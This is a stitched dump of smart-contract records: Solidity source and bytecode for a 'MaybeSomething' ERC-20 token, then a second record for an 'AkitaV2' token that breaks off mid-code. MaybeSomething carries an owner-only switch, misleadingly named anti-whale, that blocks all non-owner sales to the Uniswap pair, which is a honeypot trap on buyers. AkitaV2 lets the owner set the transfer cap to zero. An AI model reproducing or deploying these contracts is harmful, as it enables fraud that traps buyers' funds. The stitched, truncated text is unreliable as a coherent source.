/* MayBeSomething _.-**-._ _,( ),_ .-" '-^----' "-. .-' '-. .' '. .' __.--**'""""""'**--.__ '. /_.-*"'__.--**'""""""'**--.__'"*-._\ /_..-*"' .-*"*-. .-*"*-. '"*-.._\ : / ;: \ ; : : * !! * : ; \ '. .' '. .' / \ '-.-' '-.-' / .-*''. .'-. .-' '. .' '. : '-. _.._ .-' '._ ;"*-._ '-._ --___ ` _.-' _.*' '*. : '. `"*-.__.-*"` ( : ; ; *| '-. ; '---*' | ""--' : *| : '. | .' '.._ *| ____----.._-' \ """----_____------'-----""" / \ __..-------.._ ___..---._ / :'" '-..--'' "'; '""""""""""""""""' '"""""""""""""""' Find us on Tg */ pragma solidity 0.8.9; pragma experimental ABIEncoderV2; // SPDX-License-Identifier:MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dex Factory contract interface interface IdexFacotry { function createPair(address tokenA, address tokenB) external returns (address pair); } // Dex Router02 contract interface interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MaybeSomething is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; IDexRouter public dexRouter; address public dexPair; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public wallet1; bool public _antiwhale = true; constructor(address _wallet1) { _name = "MaybeSomething"; _symbol = "MBS"; _decimals = 18; _totalSupply = 1000000000000 * 1e18; wallet1 = _wallet1; _balances[owner()] = _totalSupply.mul(500).div(1e3); _balances[wallet1] = _totalSupply.mul(500).div(1e3); IDexRouter _dexRouter = IDexRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02 ); // Create a uniswap pair for this new token dexPair = IdexFacotry(_dexRouter.factory()).createPair( address(this), _dexRouter.WETH() ); // set the rest of the contract variables dexRouter = _dexRouter; emit Transfer(address(this), owner(), _totalSupply.mul(500).div(1e3)); emit Transfer(address(this), wallet1, _totalSupply.mul(500).div(1e3)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function AntiWhale(bool value) external onlyOwner { _antiwhale = value; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "WE: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "WE: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "Sorry: transfer from the zero address"); require(recipient != address(0), "Sorry: transfer to the zero address"); require(amount > 0, "Sorry: Transfer amount must be greater than zero"); if (!_antiwhale && sender != owner() && recipient != owner()) { require(recipient != dexPair, " Sorry:prowhale is not enabled"); } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "WE: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a8a037f511610071578063a8a037f514610310578063a9059cbb1461032c578063dd62ed3e1461035c578063f242ab411461038c578063f2fde38b146103aa57610121565b806370a082311461026a578063715018a61461029a5780638da5cb5b146102a457806395d89b41146102c2578063a457c2d7146102e057610121565b80631a026c96116100f45780631a026c96146101b057806323b872dd146101ce578063313ce567146101fe578063395093511461021c5780634ce4898f1461024c57610121565b806306fdde03146101265780630758d92414610144578063095ea7b31461016257806318160ddd14610192575b600080fd5b61012e6103c6565b60405161013b91906114a6565b60405180910390f35b61014c610458565b6040516101599190611547565b60405180910390f35b61017c600480360381019061017791906115db565b61047e565b6040516101899190611636565b60405180910390f35b61019a61049c565b6040516101a79190611660565b60405180910390f35b6101b86104a6565b6040516101c5919061168a565b60405180910390f35b6101e860048036038101906101e391906116a5565b6104cc565b6040516101f59190611636565b60405180910390f35b6102066105c4565b6040516102139190611714565b60405180910390f35b610236600480360381019061023191906115db565b6105db565b6040516102439190611636565b60405180910390f35b610254610687565b6040516102619190611636565b60405180910390f35b610284600480360381019061027f919061172f565b61069a565b6040516102919190611660565b60405180910390f35b6102a26106e3565b005b6102ac610836565b6040516102b9919061168a565b60405180910390f35b6102ca61085f565b6040516102d791906114a6565b60405180910390f35b6102fa60048036038101906102f591906115db565b6108f1565b6040516103079190611636565b60405180910390f35b61032a60048036038101906103259190611788565b6109dc565b005b610346600480360381019061034191906115db565b610a8e565b6040516103539190611636565b60405180910390f35b610376600480360381019061037191906117b5565b610aac565b6040516103839190611660565b60405180910390f35b610394610b33565b6040516103a1919061168a565b60405180910390f35b6103c460048036038101906103bf919061172f565b610b59565b005b6060600580546103d590611824565b80601f016020809104026020016040519081016040528092919081815260200182805461040190611824565b801561044e5780601f106104235761010080835404028352916020019161044e565b820191906000526020600020905b81548152906001019060200180831161043157829003601f168201915b5050505050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061049261048b610de0565b8484610de8565b6001905092915050565b6000600854905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006104d9848484610fb3565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610524610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059b906118c8565b60405180910390fd5b6105b8856105b0610de0565b858403610de8565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b600061067d6105e8610de0565b8484600260006105f6610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106789190611917565b610de8565b6001905092915050565b600960149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106eb610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f906119b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461086e90611824565b80601f016020809104026020016040519081016040528092919081815260200182805461089a90611824565b80156108e75780601f106108bc576101008083540402835291602001916108e7565b820191906000526020600020905b8154815290600101906020018083116108ca57829003601f168201915b5050505050905090565b60008060026000610900610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490611a4b565b60405180910390fd5b6109d16109c8610de0565b85858403610de8565b600191505092915050565b6109e4610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a68906119b9565b60405180910390fd5b80600960146101000a81548160ff02191690831515021790555050565b6000610aa2610a9b610de0565b8484610fb3565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b61610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be5906119b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5590611add565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610d2e5760009050610d90565b60008284610d3c9190611afd565b9050828482610d4b9190611b86565b14610d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8290611c29565b60405180910390fd5b809150505b92915050565b6000610dd883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90611cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611d4d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fa69190611660565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90611ddf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a90611e71565b60405180910390fd5b600081116110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90611f03565b60405180910390fd5b600960149054906101000a900460ff1615801561112657506110f6610836565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111655750611135610836565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111fc57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290611f6f565b60405180910390fd5b5b611207838383611403565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612001565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113239190611917565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113879190611660565b60405180910390a361139a848484611408565b50505050565b600080831182906113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de91906114a6565b60405180910390fd5b50600083856113f69190611b86565b9050809150509392505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561144757808201518184015260208101905061142c565b83811115611456576000848401525b50505050565b6000601f19601f8301169050919050565b60006114788261140d565b6114828185611418565b9350611492818560208601611429565b61149b8161145c565b840191505092915050565b600060208201905081810360008301526114c0818461146d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061150d611508611503846114c8565b6114e8565b6114c8565b9050919050565b600061151f826114f2565b9050919050565b600061153182611514565b9050919050565b61154181611526565b82525050565b600060208201905061155c6000830184611538565b92915050565b600080fd5b6000611572826114c8565b9050919050565b61158281611567565b811461158d57600080fd5b50565b60008135905061159f81611579565b92915050565b6000819050919050565b6115b8816115a5565b81146115c357600080fd5b50565b6000813590506115d5816115af565b92915050565b600080604083850312156115f2576115f1611562565b5b600061160085828601611590565b9250506020611611858286016115c6565b9150509250929050565b60008115159050919050565b6116308161161b565b82525050565b600060208201905061164b6000830184611627565b92915050565b61165a816115a5565b82525050565b60006020820190506116756000830184611651565b92915050565b61168481611567565b82525050565b600060208201905061169f600083018461167b565b92915050565b6000806000606084860312156116be576116bd611562565b5b60006116cc86828701611590565b93505060206116dd86828701611590565b92505060406116ee868287016115c6565b9150509250925092565b600060ff82169050919050565b61170e816116f8565b82525050565b60006020820190506117296000830184611705565b92915050565b60006020828403121561174557611744611562565b5b600061175384828501611590565b91505092915050565b6117658161161b565b811461177057600080fd5b50565b6000813590506117828161175c565b92915050565b60006020828403121561179e5761179d611562565b5b60006117ac84828501611773565b91505092915050565b600080604083850312156117cc576117cb611562565b5b60006117da85828601611590565b92505060206117eb85828601611590565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061183c57607f821691505b602082108114156118505761184f6117f5565b5b50919050565b7f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006118b2602583611418565b91506118bd82611856565b604082019050919050565b600060208201905081810360008301526118e1816118a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611922826115a5565b915061192d836115a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611962576119616118e8565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a3602083611418565b91506119ae8261196d565b602082019050919050565b600060208201905081810360008301526119d281611996565b9050919050565b7f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a6560008201527f726f000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a35602283611418565b9150611a40826119d9565b604082019050919050565b60006020820190508181036000830152611a6481611a28565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ac7602683611418565b9150611ad282611a6b565b604082019050919050565b60006020820190508181036000830152611af681611aba565b9050919050565b6000611b08826115a5565b9150611b13836115a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b4c57611b4b6118e8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b91826115a5565b9150611b9c836115a5565b925082611bac57611bab611b57565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c13602183611418565b9150611c1e82611bb7565b604082019050919050565b60006020820190508181036000830152611c4281611c06565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ca5602483611418565b9150611cb082611c49565b604082019050919050565b60006020820190508181036000830152611cd481611c98565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d37602283611418565b9150611d4282611cdb565b604082019050919050565b60006020820190508181036000830152611d6681611d2a565b9050919050565b7f536f7272793a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611dc9602583611418565b9150611dd482611d6d565b604082019050919050565b60006020820190508181036000830152611df881611dbc565b9050919050565b7f536f7272793a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e5b602383611418565b9150611e6682611dff565b604082019050919050565b60006020820190508181036000830152611e8a81611e4e565b9050919050565b7f536f7272793a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b6000611eed603083611418565b9150611ef882611e91565b604082019050919050565b60006020820190508181036000830152611f1c81611ee0565b9050919050565b7f20536f7272793a70726f7768616c65206973206e6f7420656e61626c65640000600082015250565b6000611f59601e83611418565b9150611f6482611f23565b602082019050919050565b60006020820190508181036000830152611f8881611f4c565b9050919050565b7f57453a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611feb602383611418565b9150611ff682611f8f565b604082019050919050565b6000602082019050818103600083015261201a81611fde565b905091905056fea2646970667358221220250ee4bf483a54cfb5cdce3bc8d09a26cc71f1ec00004c527734e8affff7175564736f6c63430008090033
{"success": true, "error": null, "results": {}}
1,763
0x82d922751f681439fcbada878432d6e77b7e5a58
// ___________ __ .__ __________ .__ __ .__ // \_ _____// |_| |__ ___________ ____ __ __ _____ \______ \ _______ ______ | | __ ___/ |_|__| ____ ____ // | __)_\ __\ | \_/ __ \_ __ \_/ __ \| | \/ \ | _// __ \ \/ / _ \| | | | \ __\ |/ _ \ / \ // | \| | | Y \ ___/| | \/\ ___/| | / Y Y \ | | \ ___/\ ( <_> ) |_| | /| | | ( <_> ) | \ // /_______ /|__| |___| /\___ >__| \___ >____/|__|_| / |____|_ /\___ >\_/ \____/|____/____/ |__| |__|\____/|___| / // \/ \/ \/ \/ \/ \/ \/ \/ // // Telegram: https://t.me/EthereumRevo // // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is IERC20, IERC20Metadata, Ownable { using SafeMath for uint256; string internal _name; string internal _symbol; uint256 internal _totalSupply; uint256 public _maxTxAmount; mapping(address => bool) internal _isExcluded; mapping(address => uint256) private _balances; mapping(address => mapping (address => uint256)) private _allowances; function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public virtual override returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isExcluded[sender], "Bot are banned"); if (sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract AkitaV2 is ERC20 { using SafeMath for uint256; uint256 private constant initialSupply = 1000000000000; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; super._mint(msg.sender, initialSupply * (10 ** decimals())); _maxTxAmount = _totalSupply.div(10 ** 2); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _totalSupply.mul(maxTxPercent).div( 10 ** 2 ); } function transfer(address _to, uint256 _value) public virtual override returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool success) { return super.transferFrom(_from, _to, _value); } function balanceOf(address who) public view virtual override returns (uint256) { return super.balanceOf(who); } function approve(address _spender, uint256 _value) public virtual override returns (bool success) { return super.approve(_spender, _value); } function allowance(address _owner, address _spender) public view virtual override returns (uint256 remaining) { return super.allowance(_owner, _spender); } function totalSupply() public view virtual override returns (uint256) { 